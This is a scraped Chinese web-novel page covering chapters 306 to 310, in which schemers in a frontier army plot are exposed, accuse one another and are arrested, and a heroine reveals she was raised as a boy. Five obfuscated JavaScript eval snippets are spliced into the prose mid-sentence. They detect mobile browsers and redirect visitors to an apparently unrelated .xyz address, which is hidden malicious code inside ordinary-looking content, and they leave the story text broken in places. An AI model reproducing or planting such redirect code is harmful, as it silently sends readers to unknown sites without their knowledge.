再看向谷栖山等一众“冤魂”,他们在明亮的烛火下依旧好好地站着,有影子。 他的声音发颤,“你,你们,是人是鬼?” 谷栖山眸光锐利如寒冰,他没有说话。 戈叙白冷声开口,“义父和瑾王福泽深厚,得天庇佑,自然平安无事。而我命硬,一时半会儿也死不了。” “你,你们……” 谷兆麟如遭雷击,他心中升起一个可怕的猜测,但却不敢相信。 他看着“阎王”和黑白无常拆下了头面上的装饰,露出本貌来,心中那丝侥幸也彻底被击溃。 他上当了,他落入了对方精心编制的圈套! 想到方才他说的话,谷兆麟的头皮一阵发麻,脑子也阵阵嗡鸣。 “不,不可能,这,这怎么可能?” 瑾王和戈叙白或许有可能没死,可是,谷栖山是在众目睽睽之下摔下马的,怎么会没事? 就算有人被收买,但众口一词,他们总不可能全都被收买吧。 谷兆麟还没来得及理清思路,就注意到了更加令他头皮发麻的事。 今日宴上所有的宾客都在,此刻,他们正慢慢苏醒了过来。 方才的话,他们都听到了多少? 他们方才昏睡过去了,定然什么都没有听到。 谷兆麟如此安慰自己。 但他的期待注定要落空。 任宗平坐直了身子,看向谷兆麟的眼神充满了摄人冷意。 “谷兆麟,你身受君恩,却不思报效,反勾结羌笛,戕害将士,谋害镇西将军,简直不忠不义,枉为人臣,我定要将你押解回京,请皇上降罪严惩!” 谷兆麟浑身再次瘫软。 完了,一切都完了…… 军中的其他将领也恢复了清醒,方才他们都中了药,浑身绵软无力,舌头也是僵硬的,发不出声音。 但意识却是清醒的。 所以,那出大戏,他们都听得一清二楚,半个字不差。 得知真相,他们对谷兆麟俱是怒目而视,恨不得生啖其肉。 “亏得我们之前还如此信任你,拥戴你,却原来,你才是镇西军真正的毒瘤!” “众将士都是你的同胞,是与你一起出生入死的袍泽,你怎能下得去手?” “将军怜你身世可怜,收你为义子,悉心教导,你不知感恩也就罢了,还联合外人害其性命,你当真是狼心狗肺!” 武将大多脾气暴躁,谷兆麟的行径触到了他们的逆鳞,他们恨不得得而诛之。 有人直接冲上去,冲着谷兆麟就是一顿拳打脚踢,大打出手,打得谷兆麟哭爹喊娘,惨叫连连。 谷栖山没有阻拦。 这顿打,是他该受的。 直到打得谷兆麟只剩半口气,他们才停了手。 几位老将跪在谷栖山面前,满脸愧疚自责。 “将军,我等有眼无珠,竟轻信了这小人,险些助他执掌镇西军,我等糊涂,简直罪该万死!” 众人叩首,向谷栖山请罪。 谷栖山把人扶了起来,“此事,不怪你们。便是我,也被他蒙蔽,险些落入他的圈套。” 谷兆麟挣扎着爬起来,向谷栖山磕头,连声告饶。 “义父,我错了,我是被赵书宁那**唆使,才会犯下如此大错,我真的知道错了!” 谷栖山看着他,眼底没有半分松动。 “这已经不是你第一次意图谋害我,这次是被旁人唆使,上次呢?” 谷兆麟辩解,“上次是副将蛊惑我,我一时糊涂才会如此……” “你若没有心存恶念,任何人都蛊惑不了你。事到如今你还在为自己找借口,找理由,可见,你并无悔过之心。” “当初你父亲为救我而死,我一直对你心存愧疚,时至今日,你两次谋我性命,也算是把我与你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482680|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲的恩情彻底斩断,从今以后,你是生是死,都与我无关了。” 谷栖山说这番话时,眼神是平静的。 他并没有太多的失望。 他对谷兆麟没有了任何期待,自然不再失望。 此时,还没有人理会赵书宁。 大家都陆续恢复了行动力,但她却依旧浑身绵软无力,完全提不起劲来。 他们没有给她解药。 此刻的她,内心前所未有的焦躁。 她没想到,谷栖山竟然没有死!萧晏辞竟然也活着! 他们的计划明明十分完美,不应该出这样的岔子,问题究竟出在了哪里? 定是谷兆麟那头走漏了风声! 她来不及去深究过往,当下的局面,才是她迫切要解决的。 谷兆麟那个蠢货被算计了,把一切都抖了出来,自己必须要想法子自救。 可是,该如何自救? 她的脑子素来清醒,此刻却变成了一团乱麻,完全无法理清思绪。 她非常努力地抬手,想要取下自己头上的发簪。 她没想到,谷兆麟那蠢货,竟然会有如此敏锐的时候,竟将她发簪的秘密窥破。 她怎能坐以待毙?她必须要把这个罪证毁掉。 只要没有罪证,她咬死不认,他们又能奈她何? 但她身上的毒没解,抬手这么一个简单的动作,就耗费了她所有的力气。 好容易终于要摸到那发簪了,另一只手伸了过来,轻轻松松将她的发簪取了下来。 赵书宁手上积蓄的力道彻底松懈,无力地垂了下来。 是谁? 她想扭头去看,但脖子却如有千斤重,根本转不动。 这时,那人缓缓地走到了她的面前,语声轻柔。 “你是想拿这个簪子吗?” 赵书宁听到这道声音,瞳孔猛缩。 艰难地掀起眼皮,就看到了许久未见的故人。 是陆知苒! 她手里拿着那个绿宝石发簪,漫不经心地把玩,唇角还勾着一抹浅浅笑意。 “你如此在意这枚簪子,莫非,这里面真的藏着什么见不得光的秘密?” 第306章 互相攀咬 赵书宁满含怒意地瞪着陆知苒,艰难开口。 “你怎会……” “我怎会在此?你能来,我自然也能来。我若不来,又怎能看到这么一出精彩好戏?” 陆知苒没有再理会她,转身,将那簪子交给了身侧之人。 “南笙你看看,这簪子里是否另有乾坤?” 赵书宁听到这个名字,脸上神色再次凝固。 蒋南笙! 她不是早就被人杀了吗? 赵书宁刚到西平之时就听说了此事,怎么她也没死? 赵书宁艰难转眸,就看到了一个女子。 她是见过蒋南笙的,认得出这是蒋南笙。 可这怎么可能,蒋南笙竟是个女子? 她的身形也让赵书宁隐隐觉得有几分眼熟,脑中猛的一阵灵光乍现,赵书宁想到了什么。 她分明就是前几日在城中风头无量的阿蘅大夫! 原来如此。 原来早在那个时候起,他们就已经在暗中布局了。 赵书宁只恨自己当初没能认出蒋南笙来。 若她认出了对方,定会更加警惕,断不会让他们的计谋得逞。 再多懊悔,也已无济于事。 蒋南笙已然接过了那簪子,认真研究起来。 上面的机括并不难破解,蒋南笙很轻易就找到了关窍。 一声轻轻地咔哒声,那绿宝石被打开了。 那里面果然另有乾坤。 不出意外,里面有一条小黑虫。 这条小黑虫比蒋南笙先前所见都要大,能清晰看到其腹部的鳞形纹路。 它已然产了不少卵,密密麻麻,与鱼卵相似。 赵书宁眼睁睁地看着,心中最后一丝希冀破灭。 这一刻,死亡的恐惧将她席卷。 此桩罪名落定,她定没有活路! 蒋南笙将那机括阖上,转交给了萧晏辞。 “是六亲煞。” 萧晏辞拿着那枚簪子,眸底泛着冷意。 “赵书宁果然胆大包天。” 谷兆麟眼眸亮了起来,“瑾王殿下,您都亲眼瞧见了,那等阴暗之物就是赵书宁拿出来的,这整个计划也都是她所为,我根本不通医理,从一开始我就是被她蒙蔽了。” 赵书宁身上的毒终于慢慢解了,她艰难地撑起身子,舌头的僵硬也一点点缓解。 她努力捋直舌头,“别,把自己,标榜得这么无辜!” 谷兆麟怒视着赵书宁,原本他对她有多含情脉脉,此时就有多恨之入骨。 他原本可以相安无事,好好地做自己的少将军,全都是赵书宁这个女人主动招惹,给他出了这一连串馊主意,才害得自己沦落到如今地步。 他恨声,“我说的句句属实,从头到尾,都是你在出谋划策,推动此事。” 赵书宁的舌头依旧有些发僵,但她很快克服,说话不再卡顿。 “我只是出谋划策,但真正落实此事的人却是你。若没有你亲自安排,我便是有再多的法子,也没有任何用处。” 铁证如山,她知道自己辩解无用,索性不再过浪费口舌。 但她就算**,也不会放过谷兆麟。 这男人,口口声声说他对自己深情款款,甚至还提出求娶。 实际上,被人随随便便吓唬一下,就原形毕露,将她卖了个干净。 这是对她的背叛。 她不容许这样的背叛,所以,要死,她也要把谷兆麟带上,黄泉路上,有人与她作伴,她也不孤单。 谷兆麟急得满头大汗,偏生不知如何反驳。 赵书宁继续道:“更何况,你也根本不无辜。当初,你急于立功,一听说用了蛊术就能让士兵们的战力提升,你就立马答应了此事,分外积极主动。” “至于谋害镇西将军之事,却是与我没有半分相干。且不说我与镇西将军无冤无仇,没有理由害他,便是我欲加害,我顶多只会用毒,断然想不出这样的法子。” “向羌笛传信,与羌笛勾结的人,都是你,这些都是我一个弱女子插不进手的。你要如何抵赖?真要算起来,你的罪责比我还要深几分。” 此事都是谷兆麟动的手,她只动了动嘴皮子,她全都往外推,谷兆麟也毫无办法。 蛊术之事,她或许还能想法子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482681|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辩解,谋划翻身,但是勾结羌笛,这是板上钉钉的杀头之罪,她便是有三寸不烂之舌,也无法洗清罪责,她断然不会承认。 她不想死。 谷兆麟听到她这番话,顿时气得面色涨红。 “你,你这是在狡辩!这个主意分明就是你出的!” 赵书宁反问,“你可有凭证?” 一句话把谷兆麟问住了。 他没有凭证。 赵书宁义正言辞,“无凭无证就往我头上扣帽子,那是污蔑。” 谷兆麟以往觉得赵书宁智谋超群,他也是被对方这番才智所吸引。 而今,他只觉得赵书宁巧舌如簧,满口谎言,简直人品低劣。 他以前怎么会看上这么一个人?他莫不是瞎了眼了? 谷兆麟说不过赵书宁,便只能将目标调转,朝向楚翊安。 “那他呢?他暗中给瑾王放冷箭,险些害了瑾王性命,他罪该万死!” 谷兆麟伸手朝楚翊安的方向一指。 他将对赵书宁的所有怒火,全都发泄到了楚翊安的身上。 赵书宁这个**害自己这么惨,她要死,楚翊安也休想全身而退! 楚翊安身上的毒早已解了,但他一直呆坐不动,整个人脑子都是混沌的。 方才所见所闻,桩桩件件,都给了他巨大的打击,叫他难以置信。 赵书宁这个女人,果真是胆大包天!连蛊术这样阴损的手段都能想出来! 难怪她先前对自己半个字都不透露,她只怕是心虚。 这个该死的女人,简直要把宣平侯府害死! 他对赵书宁满腔愤怒,没曾想,矛头忽然调转了方向,直直朝他而来。 他浑身一个激灵,回过神来。 萧晏辞没死。 自己还被谷兆麟给卖了。 **亲王的罪名一旦落定,他也是死路一条。 楚翊安后背冷汗涔涔,立马辩解。 “你含血喷人,我从未做过这等大逆不道之事!” 他矢口否认。 当初他并没有现身,没人能拿到把柄。 只要他不承认,他们休想给他定罪。 第307章 阴沟翻船 戈叙白开口,“请问楚大人,你是否中过一种名为蚀筋软玉散的毒?” 楚翊安闻言,心头微微一滞,下意识想要遮掩。 “没有……” 但谷兆麟却直接拆台,“你说谎,你分明中过这种毒,彼时军医给你看过,他们都能作证。” 戈叙白直言不讳:“当日那放冷箭之人,箭上便抹了这种**。对方朝我放了冷箭,我反手抓住了那支箭扔了回去,对方也中了箭。好巧,楚大人也中了这种毒。” 戈叙白这话中的指向再明显不过。 楚翊安就是那个在背后放冷箭之人,所以他才会也中了那毒。 楚翊安狡辩,“我是被乱箭射伤,怎能因此就认定我是那在背后放冷箭之人?这简直就是污蔑!” 萧晏辞看着楚翊安,眸光冷如寒霜。 “派人搜他的住处,但凡做过的事,或多或少,总会留下罪证。” 楚翊安的心头再次绷紧。 他是否把罪证清扫干净了?他自己都不记得了。 他这段时日一直在养伤,也沉浸在立功的喜悦中,没有想过这一茬。 后来,他又与赵书宁争吵不休,也没想起此事。 他到底有没有留下不该留的东西? 就算他当真料理干净了,但搜查的人是萧晏辞派去的,对方想要给他栽赃陷害,也是轻而易举。 这一次,他当真是砧板上的鱼肉,只能任人宰割了。 楚翊安整颗心都直直往下沉,满是绝望。 在看到萧晏辞身侧的陆知苒时,他心中的绝望就变成了一股汹涌难抑的酸涩。 她竟也来了西平。 她是为了萧晏辞而来吗? 他们站在一处,竟是分外登对。 懊悔如跗骨之蛆,深深地折磨着他。 他禁不住去幻想,如果当初他没有把赵书宁带回去,如果他们没有和离,现在又是怎样的结果? 察觉到楚翊安那令人恶心的黏腻目光,陆知苒的眉头深深蹙起。 萧晏辞挪动步子,挡在了陆知苒面前,将楚翊安的目光隔绝。 他冷冷地看向楚翊安,眼神中暗含警告。 当初,是他不知珍惜,而今又来后悔?呵呵。 萧晏辞的人很快回来了,他们果然在楚翊安的房间里搜出了东西。 是一瓶蚀筋软玉散,还有解药。 东西摆在楚翊安面前,他的脸色更添了几分苍白。 “不,我,我不知道这是从哪里来的。” 萧晏辞反问,“你是怀疑本王故意栽赃陷害你?” 楚翊安低头,“微臣并无此意,但微臣的确是冤枉的!拙荆是大夫,她时常会调配一些药,想来,这也是她调配的,只是暂时放着,微臣并未用过。” “这是害人的**,赵书宁没事调配这样的**,是要害谁?” 楚翊安:“……并非是要害谁,她只是有这个喜好罢了。” “这么说,她饲养蛊虫也是个人喜好?这话倒是说得稀奇。” 楚翊安被堵住,说不出话来。 这时,碧莹被带了上来。 她是赵书宁的心腹丫鬟,知道的内幕远比谷兆麟和楚翊安的多。 她已被吓得瑟瑟发抖,却紧咬牙关,什么都不肯说。 “奴婢只是个小丫鬟,真的什么都不知道。” 她不肯说,除了对赵书宁有几分忠心,也是不想引火烧身。 她什么都不知道,她就是无辜的,或许还能保全性命。 李成胜也被带了来,他一见到这番情形,立马膝盖一软,把什么都招了。 除了囤积居奇,还有那问题方子,李成胜也全都抖了出来。 “小人是做药材生意,对医药也略通几分,上回赵医女开的方子小人瞧见了,她的剂量下得颇重,那番吃法,的确能立竿见影,让病患痊愈,但却有可能埋下病灶。” “果然,过了大半年,西平百姓就陆续出现病症,这分明就是那方子留下的后遗之症。赵医女赶到西平之后,便忙着平复疫情,便是避免此事败露,牵连到她。” “小人只是一介商贾,生怕被此事牵连,这才守口如瓶,小人一时糊涂,实在罪该万死,小人愿意捐出家财,只盼诸位贵人饶小人一条命!” 说完,他就砰砰砰连连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488388|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磕头,肥胖的身子抖成了筛糠,后背也彻底被打湿了。 赵书宁的脸色终于变了。 李成胜这软骨头,竟然全都抖了出来,她又要罪加一等! 更令她心头发梗的是,李成胜的供词,把太仓商行也摘了出来。 如此一来,陆知苒岂不是能轻轻松松地全身而退? 她不甘心! 萧晏辞对他的供词十分满意。 这才是全场最有价值的供词。 楚翊安再次受到了震撼,难以置信地看向赵书宁。 这女人,究竟还有多少事瞒着自己? 难怪她会这么积极地往西平跑,竟是闯下了如此大祸,她是来善后的。 方才楚翊安还在想,赵书宁至少有上次治疗疫病的功劳,或许皇上看在这一点的份儿上,会从轻发落,也能让侯府免于责难。 但现在,他只觉自己当头就被人打了一棒子,整个人都一阵眩晕。 赵书宁不肯承认,“你含血喷人!” 李成胜立马道:“我有你当初开的药方,大可以拿去给旁的大夫检查,自然就能知道我说的是真是假。” “谁知道你拿出的药方是哪里来的?” 李成胜:“那是你亲笔所写,绝对错不了。而且当初不少大夫经手了治疫之事,他们也能拼凑出药方的具体配比和分量。” 李成胜很精明,也怕自己与赵书宁合作会有差池,是以当初他让赵书宁先拟了药方。 赵书宁没把药方给他,李成胜却生了贪念,生了窃取之心,他也的确这么干了,找人把方子偷了来。 但后来,事情发生变故,李成胜不敢再奢望功劳,很快抽身了。 后来,西平的百姓开始出现症状,李成胜拿着那药方去找人求证,得到了模棱两可的答案,但他心中的疑虑也已经种下。 他只是个商人,虽然有几分机敏与小聪明,但到底没见过大世面,今日这番阵仗,他几乎被吓破了胆,自然不敢隐瞒,将一切都抖了出来。 赵书宁万没想到,自己的方子竟然落到了李成胜的手里。 这次,她真是阴沟里翻船了。 第308章 蛊虫从何得来? 萧晏辞看着李成胜,语气算得上温和。 “你主动交代,提供罪证,也算是将功折罪,本王便做主,小惩大诫,罚没一半家财,抵消罪责。望你谨记教训,莫要再行差踏错。若不然,本王定不轻饶。” 李成胜闻言大喜。 “多谢瑾王殿下开恩,草民定谨记教训,今后断乎不敢再犯!” 萧晏辞又轻飘飘地扫向碧莹,“任何一个主动立功之人,本王都会从轻发落,就看有些人能否抓得住机会了。” 此时的碧莹心头已然生出了动摇,只是依旧迟疑着没有开口。 萧晏辞等了一会儿,没人站出来,他轻轻叹了口气。 “既如此,就全都押下去吧,送回京城,交由父皇审理。到时候,是死是活,可就不是本王能说的算的。” 立马有人上前,欲把碧莹架走。 碧莹终于慌了,她连连磕头,高声告饶,“瑾王饶命,奴婢说,奴婢什么都说。我家夫人的方子,的确有问题,是她自己亲口说的,她用药太猛了,才留下了后遗症,她生怕担责,就派人宣扬太仓商行当初捐了假药,以借此混淆视听,推卸责任……” “奴婢只是个下人,只能谨遵夫人的命令行事,帮忙做的也都是打下手的小事,请瑾王殿下高抬贵手,饶了奴婢这一回吧!” 赵书宁的目光冷冷地扫向她,眼神似毒蛇,叫碧莹浑身一个激灵,根本不敢抬头与之对视。 她也只是想求一条活路罢了,又有什么错呢? 夫人要怪,就怪她自己,当初那么不小心,酿下此祸。 “你可有她当初的药方?” 碧莹点头,“奴婢不识字,但奴婢能背下来!” 赵书宁行事狠辣,碧莹有时候亦是心惊胆战。 她也不得不为自己的未来谋划,所以,她偷偷背下了药方,算是拿住了对方一个把柄。 没曾想,今日竟当真有了用武之地。 她低声背了起来,萧晏辞吩咐手下记下。 赵书宁眸底再次闪过一抹愣怔,旋即看向碧莹的目光更加阴冷。 好啊,没想到,她竟也早早就防备着自己,随时打算背叛自己。 她身边的这些人,一个个的,当真都是白眼狼。 陆知苒忽而开口,“你可知她的蛊虫是从何得来的?” 这个问题,她一直很好奇。 赵书宁眸光微闪。 碧莹低声开口,“这次我们从京城赶往西平时,夫人身上伤情发作,我们遇到了一行人,他们的车队有一名老妇,是大夫,她给夫人上了药,还给了夫人这东西。那老妇遮着面,也没有透露身份,她们说话也都避着我,我只知道这些。” 她看上去完全不似说谎。 而且,她方才已然说了那么多,也没必要再说谎。 对方究竟是什么身份?看来,只有从赵书宁的口中才能得到答案。 萧晏辞言出必行,当即赦免了碧莹,碧莹顿时连连磕头谢恩。 萧晏辞看向赵书宁,“给了你蛊虫之人是谁?你若老实交代,本王还可在父皇面前为你美言几句,届时,还能给你留一具全尸。” 赵书宁一言不发。 留一具全尸有什么用?还不如给他们添一添堵。 谷兆麟反倒按捺不住,又开始高声求饶起来。 萧晏辞听到他的声音就烦,“你还是留着回京后,在皇上跟前解释吧。来人,把他们押下去” 事到如今,一切已成定局,容不得他们再辩解,萧晏辞也没这心思与他们浪费。 楚翊安面如死灰,谷兆麟更是满心绝望。 “瑾王饶命,我真的没有谋害你,我是无辜的啊。义父,看在我们父子一场的份儿上,您就救我一回吧,我保证,以后再也不会犯了。” 谷栖山垂眸看他,眸光冰冷,没有任何温度。 “从你对我生了谋害之心开始,我们之间就没有父子情分可言了。更何况你所犯的罪孽深重,已然触犯律法,也并非我想救就能救的。从今以后,你便好自为之吧。” 谷兆麟痛哭流涕,被侍卫拖下去的时候,他开始对赵书宁破口大骂,言语恶毒,几欲生啖其肉。 面对他的痛骂,赵书宁十分平静。 那些事并非她逼着他做的,谷兆麟并不无辜,他罪有应得。 至于他对自己的痛骂,赵书宁只当是耳旁风。 骂她的人多了,她要是全都入耳,岂非自寻烦恼? 她也怕死,但却不会像谷兆麟这般哭天抢地。 哭是最无用的,谷兆麟的表现,实在令她鄙夷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488389|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 楚翊安也很冷静,至少表面上看是这样。 他不想在陆知苒面前失了体面。 更何况,此事尚未有定论,待回了京城,说不定事情还会有转机。 他不一定会死。 他只恨赵书宁,恨她的狠辣绝情,恨她的毫无底线,恨她一再牵连侯府。 赵书宁反倒朝他露出了一抹微笑,带着一股恶意。 楚翊安心头怒意更甚,这个女人,真的疯了。 而他与这个疯女人完全捆绑在了一处,他不得不跟着承受她所做的一切。 或许,这就是老天爷对他朝三暮四,背弃发妻的惩罚。 任宗平急忙上前,向萧晏辞行礼。 “殿下平安无事,真是太好了!” 萧晏辞伸手虚扶一把,“任大人,方才之事,你都亲眼所见,亲耳所闻,望你回京后,如实向父皇回禀。” 任宗平立马恭敬应是。 “微臣定据实以报,绝不敢有半分隐瞒!” 一场大戏,终于慢慢落幕。 谷栖山重新握回镇西军的大权,接下来,便是一场新的清洗。 那些只是听命行事的小兵,他不予追究。 但谷兆麟的心腹和帮凶,他毫不留情,尽数捉拿,以军法处置。 经此一事,整个镇西军上下风气焕然一新,无人再敢怀有半点异心。 谷兆麟和赵书宁的罪行被公之于众,百姓们震惊又愤怒。 曾经,不少人将赵书宁视作救命恩人,对她感恩戴德。 而今才发现,她才是害了他们的罪魁祸首,一时城中到处都充斥着对她的谩骂。 谷兆麟亦是。 唯一让百姓们感到庆幸的是,谷栖山还活着。 他还活着,就意味着西平城有了主心骨,大家伙儿对羌笛人都再无所惧。 蒋家人听说了此事,全都高兴坏了。 蒋鹤荣喜得容光焕发,“太好了,这一回,咱们蒋家的功劳总算无人能抢走了吧。” 蒋老太医高兴的同时,也不禁为此事的真相感到唏嘘。 当初第一次见赵书宁,蒋老太医便觉对方心术不正,毫无医德,不配为医。 而今看来,自己当初的判断果然半分不假。 此女的心性,远比自己所预想的更加低劣。 第309章 我本就是女子 蒋老太医心中惦记着蒋南笙,不知她何时回来。 人或许就是禁不起念叨,刚这么想,蒋南笙就来了。 这一次,她没有再戴帷帽,也没有换回男子的装扮,依旧一身裙装。 她出现时,蒋家人都愣住了,直愣愣地盯着她好半晌没有回过神来。 有人试探性地喊了一声,“南,南笙?” 蒋南笙轻轻点头,“是我。” 蒋鹤荣又惊又喜,旋即便是一股子恼怒,“你个小子,死哪里去了?咱们家出事的时候你躲得远远的,现在事情摆平了你倒是出现了!咱们蒋家没有你这样的不孝子!” 蒋鹤荣摆出了十足的长辈架子。 蒋南笙感到了一股熟悉的感觉扑面而来,心中本能地升起一股不大舒服的感觉。 想来,这是他惯常的行事风格。 蒋南笙还尚未开口,蒋老太医的声音便传了来。 “你好好睁大眼睛看看她。” 蒋鹤荣微愣,神色间也带上几分不解。 “他不就是南笙吗?有什么好看的?” 反倒是蒋家三老爷不确定地说,“南笙,先前那位阿蘅姑娘,是不是你?” 经他这么一提醒,大家都重新打量她,这个时候才把两个人联想起来。 蒋南笙点头,“没错,是我。” 原来如此。 她没有抛下蒋家人不管,是她把老爷子的病治好了。 当初,也是她帮忙扭转了**,挽回了蒋家在众百姓心中的形象。 蒋鹤荣又开始挑她的其他毛病,“你何故作这番打扮?一个男儿家,竟扮成女子,真是丢人现眼!” 先前为了避嫌,遮掩身份也就罢了,现在事情已然平息,她何必还要继续遮遮掩掩? 蒋南笙平静地望着他,淡淡开口。 “父亲,我本就是女子。” 她既然换作了女子的装扮现身人前,就不打算继续隐瞒此事。 这话似一句惊雷,瞬间把众人炸懵了。 “你,你说的什么胡话?” 蒋南笙又重复了一遍,“我是女子,只是自小被当成了男子在养罢了。” 众人顿时炸了锅,尤其是蒋鹤荣,完全不敢置信。 “你你你……” 他的儿子呢? 他活生生的儿子呢?怎么一下子竟变成了女儿? 蒋鹤荣一直以这个儿子为荣,觉得他替自己长脸了。 结果,她竟是女子!他被骗得好苦啊! 女子怎能继承家业,传承后代? 一股被欺骗的恼怒袭上心头,蒋鹤荣指着她,手都在抖。 “你,你好大的胆子,竟敢欺瞒我们!你眼里还有没有我这个父亲?” 蒋家其他人也或震惊,或愤怒,神色各异。 蒋南笙静静地站着,她身后的林铮眸中已然泛起了冷意。 哪怕这人是她的父亲,林铮也觉得他讨厌至极。 只要蒋南笙一声令下,他就能出手,捶爆他的头。 蒋老太医用力敲着手中拐杖,声音抬高。 “此事是我授意,怎么,你有什么意见?” 蒋南笙原本欲说出口的话瞬间顿住了,她满脸诧异地看着蒋老太医,旋即心头便是一暖。 祖父这是在用自己的方式回护着自己,不让自己受到半分诟病。 蒋鹤荣和蒋家其他人也全都愣住。 “爹,这,您,您怎会这么做?” 蒋二老爷和三老爷也都不满了。 “爹,蒋家的家训,医术传男不传女,您怎能如此罔顾?” “对啊,家训乃世代老祖宗传承下来的,岂能随意违逆?” 蒋老太医神色威严,“南笙出生前,有高人给她批命,说她天赋卓绝,乃蒋家门庭兴旺的最佳传承人,我这才如此行事。事实也证明,那位高人的批命没错,南笙的确天赋卓越,你们所有人加起来,都不及她万分之一!” 蒋二老爷面色依旧难看。 “爹又怎知,我们蒋家的其他女儿没有此番天赋?” 蒋三老爷跟着附和,“对啊,她们连学医的机会都没有,便是有再好的天赋,也已然被埋没了。” 这一刻,他们对老父亲生出了前所未有的不满。 若他当真有心打破这个家训,那就该一视同仁,让他们的女儿也一并学医,而不是只教蒋南笙一人。 不患 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492566|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寡而患不均。 此乃大忌。 蒋老太医也猜到了几个儿子会有不满,但他还是揽下了这件事。 他已是半截身子入土之人,没有什么好在意的,但她不想让蒋南笙背负上不好的名声。 蒋鹤荣回过神来,难得脑子清醒,开始调转枪头一致对外。 “二弟,三弟,不是作大哥的瞧不起你们,你们扪心自问,几位侄女,她们是否有这定力苦学医术?是否有这天赋把医术学明白?” 这话把两人问住了。 蒋老太医也开了口,“南笙这些年是怎么学医的,她除了学医,便没想过旁的事,**和雪晴太过娇气,都不是这块料。” 两人其实也认同这话,但心中到底不平。 她们若不愿学,那是自己的事,但连学的机会都没有,那便是不公平。 “好了,此事是我做主的,你们有什么不满,便全都冲着我来。” 蒋二老爷和三老爷到底是闭嘴了,旋即又有些懊丧。 蒋家已经这样了,他们再争论那些,又有什么用? 蒋南笙感念祖父对她的维护,也不会干看着让祖父为难。 她开了口,“若皇上能对蒋家网开一面,让蒋家女眷留在京城,我定会立起门户,为几位堂妹寻一门好亲事。” 这话让两位蒋家老爷眸光动了动,眼底燃起希望。 蒋南笙的确是眼下蒋家人中最有指望之人。 过往十几年,她虽是女扮男装,但一身真才实学是真的。 而且,她与九公主和瑾王殿下都交情颇深。 她的确有能力庇护蒋家的女眷们。 两人同时软下了态度,向蒋南笙说了软话,彼此算是揭过此事。 蒋鹤荣心中得意的同时,又有点不得劲。 他又开始嘚吧嘚起来,“我是你亲爹,此事你怎可连我也瞒?实在是太不像话了。” 蒋老太医又沉了脸,“是我让瞒的,怎么,你有意见?有意见就冲着我来。” 蒋鹤荣:…… 他又瞬间变成了鹌鹑。 蒋南笙见此,禁不住偷偷抿唇。 她这个爹,只有祖父能镇得住。 第310章 不三不四的人 蒋鹤荣没法在蒋南笙的身上找茬,便目光一转,落在了林铮的身上。 “他呢?是什么人?你莫不是扮男子扮久了,也真把自己当男子了?女儿家家,身边跟着这么一个不三不四的人,成何体统!” 林铮垂眉敛目,没有说话,也没有给蒋鹤荣半个多余的眼神。 蒋鹤荣见此,心头更加不快。 蒋南笙的语气维护,“当初我遇到歹人袭击,是阿铮救了我,而后一直有人追杀我,也是他一直保护我的安全,他不是不三不四的人。” 林铮听到她的这话,冷峻眉眼染上几分柔和。 蒋鹤荣却越发横挑鼻子竖挑眼。 “可他是羌笛人,你与羌笛人搅和在一起,成何体统。” “他的体内流着一半大齐人的血,他也是大齐的子民,更何况,他没有杀过一个大齐的百姓,反而斩杀了羌笛二皇子,他合该**行赏。” 蒋南笙的语气中带上了一股他自己都没意识到的骄傲。 蒋鹤荣听了却不以为意。 他骨子里对林铮便是瞧不起的。 他们二人举止亲昵,俨然是超出了普通朋友的界限,这小子看南笙的目光更是充满了觊觎。 